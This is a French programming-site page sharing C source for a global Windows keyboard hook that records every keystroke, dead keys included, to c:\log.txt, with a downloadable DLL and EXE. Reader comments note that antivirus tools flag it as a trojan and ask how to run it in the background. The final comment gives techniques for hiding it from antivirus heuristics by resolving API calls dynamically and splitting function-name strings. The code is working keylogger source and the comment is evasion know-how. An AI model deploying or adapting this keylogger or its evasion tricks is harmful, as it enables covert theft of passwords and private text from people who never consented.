CodeS-SourceS est hébergé par Frontier.fr

Ce site au démarrage

begin process at 2010 02 10 09:46:45

Accueil Codes Tutoriels Forum Livres Emploi Services Connexion

Trouver un code source :

dans

[ Dernières recherches ]

Accueil >

Système

> [HOOK CLAVIER] FICHIER TEXTE AVEC GESTION DES DEAD KEYS [DEV-C++ 4.9.8.10]

[HOOK CLAVIER] FICHIER TEXTE AVEC GESTION DES DEAD KEYS [DEV-C++ 4.9.8.10]

Information sur la source

Note :

10,00 / 10

Catégorie :Système Niveau :Expert Date de création :30/07/2004 Date de mise à jour :30/07/2004 22:47:54 Vu / téléchargé :10 407 / 1 242

Auteur : BeLZeL

Ecrire un message privé

Site perso

Commentaire sur cette source (26)

Ajouter un commentaire et/ou une note

Description

On trouve pas mal de code source sur Internet pour un hook clavier global sous Windows. La fonction SetWindowsHookEx est plutôt bien détaillée.

Malheureusement, je n'ai trouvé aucun hook qui gère les DEAD KEY. Il s'agit des touches qu'on doit combiner avec une autre, comme les accents circonflexes, les tremas, etc ... pour ne former qu'un caractère.

Avec un hook clavier traditionnel, en tapant "^" puis "e" dans une application comme le Notepad, j'obtenais soit "^^e", soit "e". Par contre, dans le fichier log, j'obtenais souvent "ê".

L'erreur vient de la fonction ToAscii, largement utilisée avec les hooks clavier, pour traduire un nombre en un caractère (caractère qu'on écrit ensuite dans un fichier texte). Cette fonction bug royalement lorsqu'il s'agit de gérer les DEAD KEY.

La solution que je propose est de savoir si le caractère qu'on traite est un DEAD KEY. Si c'est le cas, on ne doit pas faire d'appel à la fonction ToAscii, mais plutôt à une fonction équivalente : GetKeyNameText (elle ne gère pas les minuscules).

Je propose un extrait du code. Le zip contient la DLL (je crois que c'est indispensable pour un hook global) et l'EXE pour l'utiliser.

Source

//------------------------------------------------------------------------------
// Retourne 0 si le caractère est un DEAD CHAR (accent circonflexe, trema, etc ...)
//------------------------------------------------------------------------------
BOOL is_dead_key ( int wparam )
{
unsigned int code = MapVirtualKey ( wparam, 2 );
// Windows 95 retourne 0x8000, NT retourne 0x80000000
return (code & 0x80008000) ? TRUE : FALSE;
}
//------------------------------------------------------------------------------
// Fonctions executée lorsqu'on appuie sur une touche
//------------------------------------------------------------------------------
// lParam est composé de 32 bits (de 31 à 0) :
// touche appuyée : bit 31 [FALSE] bit 30 [FALSE]
// touche maintenue : bit 31 [FALSE] bit 30 [TRUE]
// touche relachée : bit 31 [TRUE] bit 30 [TRUE]
// scancode : bit 23 au bit 16 inclus
//------------------------------------------------------------------------------
LRESULT CALLBACK KeyboardProc ( int nCode,WPARAM wParam,LPARAM lParam )
{
BYTE KeyState[256]; // Etat des 256 touches du clavier
static BOOL deadkey; // Est-ce qu'on a traité une DEAD KEY
WORD Char=0; // Buffer pour la traduction de la touche (ToAscii)
char nomTouche[256]; // Buffer pour la traduction de la touche (GetKeyNameText)
// On ne fait rien dans ce cas (cf aide API)
if ( nCode < 0 || nCode == HC_NOREMOVE )
return CallNextHookEx ( HKEYBOARD, nCode, wParam, lParam );
// Pour éviter les répétitions
// Bit 30 : Spécifie l'état précédent de la touche (si TRUE, on passe notre chemin)
if ( ((DWORD)lParam & 1<<30) != FALSE )
return CallNextHookEx ( HKEYBOARD, nCode, wParam, lParam );
// Si c'est une DEAD KEY, on passe notre chemin
if ( is_dead_key ( (UINT) wParam ) )
{
deadkey = TRUE;
myfprintf ( "[DK]" );
return CallNextHookEx ( HKEYBOARD, nCode, wParam, lParam );
}
switch(wParam)
{
case VK_BACK : myfprintf ( "[BKSP]" ); break; // 0x08
case VK_TAB : myfprintf ( "[TAB]" ); break; // 0x09
case VK_RETURN : myfprintf ( "[ENTER]\r\n" );break; // 0x0D
case VK_SHIFT : break; // 0x10
case VK_CONTROL : myfprintf ( "[CTRL]" ); break; // 0x11
case VK_MENU : myfprintf ( "[ALT]" ); break; // 0x12
case VK_PAUSE : myfprintf ( "[PAUSE]" ); break; // 0x13
case VK_CAPITAL : break; // 0x14
case VK_ESCAPE : break; // 0x1B
case VK_PRIOR : myfprintf ( "[PGUP]" ); break; // 0x21
case VK_NEXT : myfprintf ( "[PGDN]" ); break; // 0x22
case VK_END : myfprintf ( "[END]" ); break; // 0x23
case VK_HOME : myfprintf ( "[HOME]" ); break; // 0x24
case VK_LEFT : myfprintf ( "[LEFT]" ); break; // 0x25
case VK_UP : myfprintf ( "[UP]" ); break; // 0x26
case VK_RIGHT : myfprintf ( "[RIGHT]" ); break; // 0x27
case VK_DOWN : myfprintf ( "[DOWN]" ); break; // 0x28
case VK_SNAPSHOT: myfprintf ( "[SNAP]" ); break; // 0x2C
case VK_INSERT : break; // 0x2D
case VK_DELETE : myfprintf ( "[DEL]" ); break; // 0x2E
case VK_LWIN : myfprintf ( "[LWIN]" ); break; // 0x5B
case VK_RWIN : myfprintf ( "[RWIN]" ); break; // 0x5C
case VK_APPS : myfprintf ( "[APPS]" ); break; // 0x5D
case VK_NUMPAD0 : myfprintf ( "[NUM0]" ); break; // 0x60
case VK_NUMPAD1 : myfprintf ( "[NUM1]" ); break; // 0x61
case VK_NUMPAD2 : myfprintf ( "[NUM2]" ); break; // 0x62
case VK_NUMPAD3 : myfprintf ( "[NUM3]" ); break; // 0x63
case VK_NUMPAD4 : myfprintf ( "[NUM4]" ); break; // 0x64
case VK_NUMPAD5 : myfprintf ( "[NUM5]" ); break; // 0x65
case VK_NUMPAD6 : myfprintf ( "[NUM6]" ); break; // 0x66
case VK_NUMPAD7 : myfprintf ( "[NUM7]" ); break; // 0x67
case VK_NUMPAD8 : myfprintf ( "[NUM8]" ); break; // 0x68
case VK_NUMPAD9 : myfprintf ( "[NUM9]" ); break; // 0x69
case VK_MULTIPLY: myfprintf ( "*" ); break; // 0x6A
case VK_ADD : myfprintf ( "+" ); break; // 0x6B
case VK_SUBTRACT: myfprintf ( "-" ); break; // 0x6D
case VK_DECIMAL : myfprintf ( "." ); break; // 0x6E
case VK_DIVIDE : myfprintf ( "/" ); break; // 0x06
case VK_F1 : myfprintf ( "[F1]" ); break; // 0x70
case VK_F2 : myfprintf ( "[F2]" ); break; // 0x71
case VK_F3 : myfprintf ( "[F3]" ); break; // 0x72
case VK_F4 : myfprintf ( "[F4]" ); break; // 0x73
case VK_F5 : myfprintf ( "[F5]" ); break; // 0x74
case VK_F6 : myfprintf ( "[F6]" ); break; // 0x75
case VK_F7 : myfprintf ( "[F7]" ); break; // 0x76
case VK_F8 : myfprintf ( "[F8]" ); break; // 0x77
case VK_F9 : myfprintf ( "[F9]" ); break; // 0x78
case VK_F10 : myfprintf ( "[F10]" ); break; // 0x79
case VK_F11 : myfprintf ( "[F11]" ); break; // 0x7A
case VK_F12 : myfprintf ( "[F12]" ); break; // 0x7B
case VK_F13 : myfprintf ( "[F13]" ); break; // 0x7C
case VK_F14 : myfprintf ( "[F14]" ); break; // 0x7D
case VK_F15 : myfprintf ( "[F15]" ); break; // 0x7E
case VK_F16 : myfprintf ( "[F16]" ); break; // 0x7F
case VK_F17 : myfprintf ( "[F17]" ); break; // 0x80
case VK_F18 : myfprintf ( "[F18]" ); break; // 0x81
case VK_F19 : myfprintf ( "[F19]" ); break; // 0x82
case VK_F20 : myfprintf ( "[F20]" ); break; // 0x83
case VK_F21 : myfprintf ( "[F21]" ); break; // 0x84
case VK_F22 : myfprintf ( "[F22]" ); break; // 0x85
case VK_F23 : myfprintf ( "[F23]" ); break; // 0x86
case VK_F24 : myfprintf ( "[F24]" ); break; // 0x87
case VK_NUMLOCK : break; // 0x90
case VK_ATTN : break; // 0xF6
default:
// On réinitialise notre tableau
memset ( KeyState, 0, sizeof(KeyState) );
if ( GetKeyboardState ( KeyState ) )
{
// ce n'est pas une DEAD KEY, on peut utiliser ToAscii
if ( !deadkey )
{
ToAscii ( (UINT) wParam, (UINT) ((lParam << 8 ) >> 24), KeyState, &Char, 0 );
myfprintf ( &Char );
}
// sinon, on doit utiliser autre chose !
else
{
GetKeyNameText ( lParam, nomTouche, 256 );
myfprintf ( nomTouche );
deadkey = FALSE;
}
}
break;
}
return CallNextHookEx ( HKEYBOARD, nCode, wParam, lParam );
}

//------------------------------------------------------------------------------
// Retourne 0 si le caractère est un DEAD CHAR (accent circonflexe, trema, etc ...)
//------------------------------------------------------------------------------

BOOL is_dead_key ( int wparam )
{
    unsigned int code = MapVirtualKey ( wparam, 2 );

    // Windows 95 retourne 0x8000, NT retourne 0x80000000
    return (code & 0x80008000) ? TRUE : FALSE;
}

//------------------------------------------------------------------------------
// Fonctions executée lorsqu'on appuie sur une touche
//------------------------------------------------------------------------------
// lParam est composé de 32 bits (de 31 à 0) :
// touche appuyée   : bit 31 [FALSE] bit 30 [FALSE]
// touche maintenue : bit 31 [FALSE] bit 30 [TRUE]
// touche relachée  : bit 31 [TRUE]  bit 30 [TRUE]
// scancode         : bit 23 au bit 16 inclus
//------------------------------------------------------------------------------

LRESULT CALLBACK KeyboardProc ( int nCode,WPARAM wParam,LPARAM lParam )
{
    BYTE KeyState[256];                 // Etat des 256 touches du clavier
    static BOOL deadkey;                // Est-ce qu'on a traité une DEAD KEY
    WORD Char=0;                        // Buffer pour la traduction de la touche (ToAscii)
    char nomTouche[256];                // Buffer pour la traduction de la touche (GetKeyNameText)

    // On ne fait rien dans ce cas (cf aide API)
    if ( nCode < 0 || nCode == HC_NOREMOVE )
        return CallNextHookEx ( HKEYBOARD, nCode, wParam, lParam );

    // Pour éviter les répétitions
    // Bit 30 : Spécifie l'état précédent de la touche (si TRUE, on passe notre chemin)
    if ( ((DWORD)lParam & 1<<30) != FALSE )
        return CallNextHookEx ( HKEYBOARD, nCode, wParam, lParam );
        
    // Si c'est une DEAD KEY, on passe notre chemin
    if ( is_dead_key ( (UINT) wParam ) )
    {
        deadkey = TRUE;
        myfprintf ( "[DK]" );
        return CallNextHookEx ( HKEYBOARD, nCode, wParam, lParam );
    }

    switch(wParam)
    {
    case VK_BACK    : myfprintf ( "[BKSP]" );   break;  // 0x08
    case VK_TAB     : myfprintf ( "[TAB]" );    break;  // 0x09
    case VK_RETURN  : myfprintf ( "[ENTER]\r\n" );break;  // 0x0D
    case VK_SHIFT   :                           break;  // 0x10
    case VK_CONTROL : myfprintf ( "[CTRL]" );   break;  // 0x11
    case VK_MENU    : myfprintf ( "[ALT]" );    break;  // 0x12
    case VK_PAUSE   : myfprintf ( "[PAUSE]" );  break;  // 0x13
    case VK_CAPITAL :                           break;  // 0x14
    case VK_ESCAPE  :                           break;  // 0x1B
    case VK_PRIOR   : myfprintf ( "[PGUP]" );   break;  // 0x21
    case VK_NEXT    : myfprintf ( "[PGDN]" );   break;  // 0x22
    case VK_END     : myfprintf ( "[END]" );    break;  // 0x23
    case VK_HOME    : myfprintf ( "[HOME]" );   break;  // 0x24
    case VK_LEFT    : myfprintf ( "[LEFT]" );   break;  // 0x25
    case VK_UP      : myfprintf ( "[UP]" );     break;  // 0x26
    case VK_RIGHT   : myfprintf ( "[RIGHT]" );  break;  // 0x27
    case VK_DOWN    : myfprintf ( "[DOWN]" );   break;  // 0x28
    case VK_SNAPSHOT: myfprintf ( "[SNAP]" );   break;  // 0x2C
    case VK_INSERT  :                           break;  // 0x2D
    case VK_DELETE  : myfprintf ( "[DEL]" );    break;  // 0x2E
    case VK_LWIN    : myfprintf ( "[LWIN]" );   break;  // 0x5B
    case VK_RWIN    : myfprintf ( "[RWIN]" );   break;  // 0x5C
    case VK_APPS    : myfprintf ( "[APPS]" );   break;  // 0x5D
    case VK_NUMPAD0 : myfprintf ( "[NUM0]" );   break;  // 0x60
    case VK_NUMPAD1 : myfprintf ( "[NUM1]" );   break;  // 0x61
    case VK_NUMPAD2 : myfprintf ( "[NUM2]" );   break;  // 0x62
    case VK_NUMPAD3 : myfprintf ( "[NUM3]" );   break;  // 0x63
    case VK_NUMPAD4 : myfprintf ( "[NUM4]" );   break;  // 0x64
    case VK_NUMPAD5 : myfprintf ( "[NUM5]" );   break;  // 0x65
    case VK_NUMPAD6 : myfprintf ( "[NUM6]" );   break;  // 0x66
    case VK_NUMPAD7 : myfprintf ( "[NUM7]" );   break;  // 0x67
    case VK_NUMPAD8 : myfprintf ( "[NUM8]" );   break;  // 0x68
    case VK_NUMPAD9 : myfprintf ( "[NUM9]" );   break;  // 0x69
    case VK_MULTIPLY: myfprintf ( "*" );        break;  // 0x6A
    case VK_ADD     : myfprintf ( "+" );        break;  // 0x6B
    case VK_SUBTRACT: myfprintf ( "-" );        break;  // 0x6D
    case VK_DECIMAL : myfprintf ( "." );        break;  // 0x6E
    case VK_DIVIDE  : myfprintf ( "/" );        break;  // 0x06
    case VK_F1      : myfprintf ( "[F1]" );     break;  // 0x70
    case VK_F2      : myfprintf ( "[F2]" );     break;  // 0x71
    case VK_F3      : myfprintf ( "[F3]" );     break;  // 0x72
    case VK_F4      : myfprintf ( "[F4]" );     break;  // 0x73
    case VK_F5      : myfprintf ( "[F5]" );     break;  // 0x74
    case VK_F6      : myfprintf ( "[F6]" );     break;  // 0x75
    case VK_F7      : myfprintf ( "[F7]" );     break;  // 0x76
    case VK_F8      : myfprintf ( "[F8]" );     break;  // 0x77
    case VK_F9      : myfprintf ( "[F9]" );     break;  // 0x78
    case VK_F10     : myfprintf ( "[F10]" );    break;  // 0x79
    case VK_F11     : myfprintf ( "[F11]" );    break;  // 0x7A
    case VK_F12     : myfprintf ( "[F12]" );    break;  // 0x7B
    case VK_F13     : myfprintf ( "[F13]" );    break;  // 0x7C
    case VK_F14     : myfprintf ( "[F14]" );    break;  // 0x7D
    case VK_F15     : myfprintf ( "[F15]" );    break;  // 0x7E
    case VK_F16     : myfprintf ( "[F16]" );    break;  // 0x7F
    case VK_F17     : myfprintf ( "[F17]" );    break;  // 0x80
    case VK_F18     : myfprintf ( "[F18]" );    break;  // 0x81
    case VK_F19     : myfprintf ( "[F19]" );    break;  // 0x82
    case VK_F20     : myfprintf ( "[F20]" );    break;  // 0x83
    case VK_F21     : myfprintf ( "[F21]" );    break;  // 0x84
    case VK_F22     : myfprintf ( "[F22]" );    break;  // 0x85
    case VK_F23     : myfprintf ( "[F23]" );    break;  // 0x86
    case VK_F24     : myfprintf ( "[F24]" );    break;  // 0x87
    case VK_NUMLOCK :                           break;  // 0x90
    case VK_ATTN    :                           break;  // 0xF6
    default:
        // On réinitialise notre tableau
        memset ( KeyState, 0, sizeof(KeyState) );
        
        if ( GetKeyboardState ( KeyState ) )
        {
            // ce n'est pas une DEAD KEY, on peut utiliser ToAscii
            if ( !deadkey )
            {
                ToAscii ( (UINT) wParam, (UINT) ((lParam << 8 ) >> 24), KeyState, &Char, 0 );
                myfprintf ( &Char );
            }
            // sinon, on doit utiliser autre chose !
            else
            {
                GetKeyNameText ( lParam, nomTouche, 256 );
                myfprintf ( nomTouche );
                deadkey = FALSE;
            }
        }
        break;
    }

    return CallNextHookEx ( HKEYBOARD, nCode, wParam, lParam );
}

Conclusion

Si vous avez une solution alternative, je suis évidemment preneur !
Sachez qu'il crée un fichier texte là : c:\log.txt

belzel [dot] free [dot] fr

Fichier Zip

Les Membres Club peuvent télécharger directement un fichier contenu dans le zip sans télécharger le zip en entier !

dll
- HookDLL.dev1 269 octets
- main.c 11 750 octets
exe
- main.c 96 octets
- Projet1.dev874 octets
Bin.exe24 192 octets
clavier.jpg 21 166 octets
dllmain.c.html 19 810 octets
hkb.dll28 299 octets
index.html 2 895 octets
main.c.html 420 octets

Télécharger le zip

Historique

30 juillet 2004 22:47:54 :: Quelques commentaires en plus. Quelques variables supprimées car non utilisées. Une mise à jour de WORD Char à 0 pour éviter quelques bugs d'écriture.

Sources du même auteur

VORTEX [OPENGL DEVCPP]

MODÈLE 3D TEXTURÉ [OPENGL & ASE & RAW & DEVCPP]

LIMITER NOMBRE FPS [OPENGL & QUERYPERFORMANCE & DEVCPP]

LOAD TGA / OPENGL [DEV-C++ 4.9.5.0]

LOAD JPG / OPENGL [DEV-C++ 4.9.5.0]

Toutes les sources de BeLZeL

Sources de la même categorie

[C/WIN32/WMI]SAVOIR SI UNE CLASSE COM EST INSTALLÉE par rt15

[C/WIN32][DRIVER] DÉTECTION DE CRÉATION OU DE SUPPRESSION DE... par deck_bsd

DÉTECTION DE LANCEMENT D'APPLICATION (WIN32, REGISTERSHELLHO... par buno

[C/WIN32] INJECTION DE DLL 2 MÉTHODES (REMOTETHREAD PROPRE &... par deck_bsd

PRODUCER CONSUMER C (WITHIN LINUX) par PCBill

Toutes les sources de la catégorie Système

Commentaires et avis

Commentaire de LordBob le 31/07/2004 13:36:42

c'est quoi les dead keys?

Commentaire de BruNews le 01/08/2004 12:11:01 administrateur CS

code de touche qui devra etre combine avec un autre pour former un caractere fini.
Ex: touche accent ciconflexe ou trema.

Commentaire de BeLZeL le 02/08/2004 12:11:03

C'est le deuxième paragraphe d'intro :)

Commentaire de brenntengel le 30/09/2005 21:08:44

salut et permet moi de te dire Chapeau pour ce code
exellemnt travaille j'ai compris le programme
mais le probelme j'ai pas comrpris comment
tu as appelé la DLL a partir de la fonction main.
il n'ya rien qui montre comment ta fais ca
si tu as un tutorial sur le dll(utlisant la dllexport et dllimort ca serait vraiment sympa )
Merci et encore chapeau

Commentaire de Neomaster951 le 08/10/2005 16:03:29

Je suis débutant et hmm, je sais pas comment le mettre en arrière plan... Le fichier .exe contien seulement sa:

int main ()
{
    InitHook ( );
    system("PAUSE");
    EndHook ( );
    return 0;
}

Qu'est-ce que je devrais changer pour qu'il puisse rouler en arrière plan? Merci!

Commentaire de BeLZeL le 08/10/2005 16:59:25

Il faut que tu fasses ton propre EXE, qui se lance en arrière plan.

Commentaire de floche le 23/02/2006 21:31:20

petite question tres bete : ou trouver la librairie libhkb.a ?
merci encore pour cette source trés compréhensible

+++

Commentaire de floche le 24/02/2006 11:59:47

désolé j avais pas vu...

Commentaire de HeavenForsaker le 10/05/2006 00:16:12

Bonjour,

Corrigez moi si je me trompe, le type de variable unsigned int tiens sur 16bits, 0 à 65535 en decimal. Sous windows NT, le Et binaire entre une valeur 32bits(0x80000000) et une valeur 16bits(code) donnera toujours 0 non ?
De plus la fonction MapVirtualKey ne tiens pas compte des combinaisons de touche. Si je fais un AltGR + 'é' puis 'a' pour former 'ã', code renvoi 223(code de touche de la touche 'é').
En fait ça fonctionne que pour les Dead-Keys formées avec '^', mais pas pour les combinaisons AltGR + 'é' ou AltGR + 'è'.

Voila, merci de me corriger si je me suis planté. -:)

Commentaire de BruNews le 10/05/2006 00:50:53 administrateur CS

int est 32 bits.

Commentaire de HeavenForsaker le 10/05/2006 10:26:10

Ok merci BruNews c'est noté,
sinon je voulais savoir est ce qu'il y a une fonction pour assembler les Dead-Keys, si j'ai dans un buffer 2 caractères '^' et 'e', comment faire pour obtenir 'ê' ?

Commentaire de BruNews le 10/05/2006 10:38:40 administrateur CS

Fais la correspondance toi même dans ton code, sera plus rapide qu'un appel de fonction.

Commentaire de HeavenForsaker le 10/05/2006 12:00:22

Ok ça marche, merci man.

Commentaire de johanb le 19/05/2006 16:45:26

J'ai une léger probleme:
j'ai voulu faire un mix de ton code avec celui ne necessitant pas de dll (http://www.cppfrance.com/code.aspx?ID=27169)
Une seule ligne pose probleme: sous visual c++ j'ai l'erreur suivante à la compilation.

error C2664: 'strlen' : cannot convert parameter 1 from 'LPCVOID' to 'const char *'
Conversion from 'void*' to pointer to non-'void' requires an explicit cast

est-ce que quelqu'un pourrait me dire comment résoudre le problème svp?

Commentaire de johanb le 19/05/2006 16:47:16

oops j'ai oublié de dire que la ligne concernée est:

WriteFile ( logfic, texte, strlen(texte), &taille, NULL );

dans la fonction myfprintf( LPCVOID texte )

Commentaire de BruNews le 19/05/2006 17:21:17 administrateur CS

Mets un cast strlen((const char*) texte)
un pointeur peut toujours être casté vers un autre type car ce sont tous de simples adresses 32 bits, par contre à toi de savoir si c'est cohérent sinon fera badaboum à l'exécution.

Commentaire de BeLZeL le 24/05/2006 20:53:27

lol, je connaissais pas la combinaison altgr + é puis a pour former ã ;)
Effectivement, pour les deadkey, je crois que j'ai juste géré les '^'

Si vous faites des mises à jour de ce code, n'hésitez pas à indiquer l'url ici, si vous l'avez posté sur CPPFrance. Moi ca m'intéresse en tout ca.

Commentaire de maladedede le 30/08/2006 14:50:29

LooO0O00L la vie est trés comique:
BeLZeL ton keylogger est détecté par les anti-virus^^ enfin le mien aussitot compilé la DLL AVG la supprime^^

Commentaire de Leptis le 28/02/2007 02:38:44

Quelqu'un pourait il me dire quelque est la fonction a appliquer pour faire passer les lettre contenus dans la vlariable texte dans un string, ou un tableau de char affichable par un printf()
Merci d'avance !!

Commentaire de mario2006 le 15/03/2007 02:33:41

Ce qui m'inquiéte c'est cette fameuse librairie libhkb.a
D'ou vient elle et que contient-elle? Et je ne vois pas ce qu'elle apporte au code.
Sinon pour la reconnaisance de la dll en tant que virus (trojan d'ailleurs..) en commentant quelques une des lignes du code qui ne son pas indispensable (celles avec les VK_TRUC) c'est bon.

Commentaire de thispawn le 26/02/2009 19:58:38

Avira en heuristique me l'analyse comme un malware generic; apperement ToAscii et MapVirtualKey en sont la cause ... une idée pour remedier au problème ?

Commentaire de BruNews le 26/02/2009 20:09:35 administrateur CS

Simple, vire tous ces "antivirus" qui ne servent à rien d'autre qu'à justifier leur existence par des messages à la con.
Quand on ne va pas faire des cochoncetés sur grossecoche.com, on n'a pas besoin d'antivirus et le système tournera nettemment mieux.

Commentaire de thispawn le 26/02/2009 21:34:29

Et une bonne réponse ! même si je ne comprend toujours pas comment l'heuristique fonctionne ... :/ je change la fonction en ascii je modifi la structure etc ... rien y fait sauf si jaugmente la taille du fichier avec des bytes nuls il doit avoir une règle du style : If (Toascii & < 200 ko ) printf(" malware/gen ");

Commentaire de CharlesMartel le 03/06/2009 15:06:38

Pas mal cette source.

Par contre je sais si ça vient de moi ou pas mais quand on change le chemin du log par un chemin relatif, genre "log.txt" ou "./log.txt" ça ne marche plus, même en utilisant les fonctions fopen et fputs à la place de celles présentent dans l'api windows.

Commentaire de shuty le 06/09/2009 15:25:17

Salut, comment faites vous pour le compilé car moi quand je lance dev cpp des erreur apparaissent alors que je suis bien les instruction du index.html ! Help me !?

Commentaire de thispawn le 07/09/2009 15:19:25

serieusement arretez de demander comment compiler un code source de virus sans savoir coder, deplus il est detecté par quasiment toutes les heuristiques, si vous voulez le rendre indetectable aucun programmeur ne va coder à votre place, mais vont seulement partager leur connaissances.
Le fait de ne pas vous dire comment compiler sans erreur ou même de faire des erreurs dans un code de virus est une sorte de protection anti kiddies !

Pour partager mes connaissances :
une bonne façon de rendre indetectable un virus est de cacher toutes ses fonctions de sa table d'importation en codant dynamiquement et non statiquement. Si vous declarez ou appelez directement MapVirtualKey par exemple, et bien elle sera visible par n'importe quel antivirus, or si vous employez la fonction GetProcAddress vous recuperez l'adresse de la fonction pendant l'execution ce qui rend le virus indetectable par les heuristiques statiques, néanmoins afin de cacher totalement le nom de la fonction vous pouvez procéder à des modifications de chaines. par exemple "MapVirtualKey" est pareil que char buffer[]="MapV"; strcat(buffer,"irtualKey");

utilisation de GetProcAddress : TYPE (TypeDAppel *NotreNomChoisiDeFonction) (TYPE , ...) = ( TYPE (TypeDAppel *) (TYPE , ...) ) GetProcAddress(GetModuleHandle("NomDeLaDLLDImportation"),BufferNomDeFonction);

voilà en espérant ne pas avoir fait d'erreurs.

Ajouter un commentaire

Nos sponsors

Derniers Blogs

UNE JOLIE-HORLOGE ET PAS QU'UN PEU ! par neodante

TECHDAYS PARIS 2010 : CONNECTEZ VOS DONNéES à SHAREPOINT 2010 AVEC LES BUSINESS CONNECTIVITY SERVICES par ROMELARD Fabrice

[DIVERS] SUIVRE VOS SéRIES PRéFéRéS SUR LA TOILE par orion

TECHDAYS PARIS 2010 : LA BI DANS SHAREPOINT 2010 par ROMELARD Fabrice

TECHDAYS PARIS 2010 : DéPLOIEMENT DE NOUVELLES TECHNOLOGIES - RETOUR D'EXPéRIENCE PAR L'INFORMATIQUE DE MICROSOFT par ROMELARD Fabrice

Forum

PROGRAMMATION TOUCHES EN C par micwon

RE : WIN API par racpp

RE : SDL ET WINDOWS.H SOUS SYGWIN par agent933

[C] RéALISATION D'UN MINI SGBD AVEC LES STRUCTURES DE DONNéES ET LES FICHIERS par abdelhaq007

SDL ET WINDOWS.H SOUS SYGWIN par agent933

Côté IT

Offres d'emploi

Formations Video

Appels d'offres

PLATEFORME SUR L ESOTERISME VOYANCE - sans charte graphique
Budget : 3 500€
Joomla 15 module paiement adaptation composant cuisine
Budget : 250€
Integrateur web dans template
Budget : 500€

Logiciels

DB-MAIN (9.1.0)
DB-MAIN (9.1.0)

DB-MAIN is a data-modeling and data-architecture tool. It is designed to help developers and anal...

Cliquez pour télécharger DB-MAIN
Xilisoft DPG Convertisseur (5.1.37.0120)
XILISOFT DPG CONVERTISSEUR (5.1.37.0120)

Xilisoft DPG Convertisseur offre aux fans de Nintendo DS une bonne solution leur permettant de dé...

Cliquez pour télécharger Xilisoft DPG Convertisseur
GraphicsGale (2.01.01)
GRAPHICSGALE (2.01.01)

GraphicsGale est un logiciel de PixelArt avec de nombreuse fonctionnalités permettant de réalisé ...

Cliquez pour télécharger GraphicsGale
Architecte 3D (Platinum 2010)
ARCHITECTE 3D (PLATINUM 2010)

Architecte 3D Platinium vous permet de concevoir facilement les plans votre future maison, de l'é...

Cliquez pour télécharger Architecte 3D
TeamViewer 5 (TeamViewer 5)
TEAMVIEWER 5 (TEAMVIEWER 5)

Dépanner un ami,expliquer une manipulation devient un jeu d'enfant. Prise en main d'un autre ord...

Cliquez pour télécharger TeamViewer 5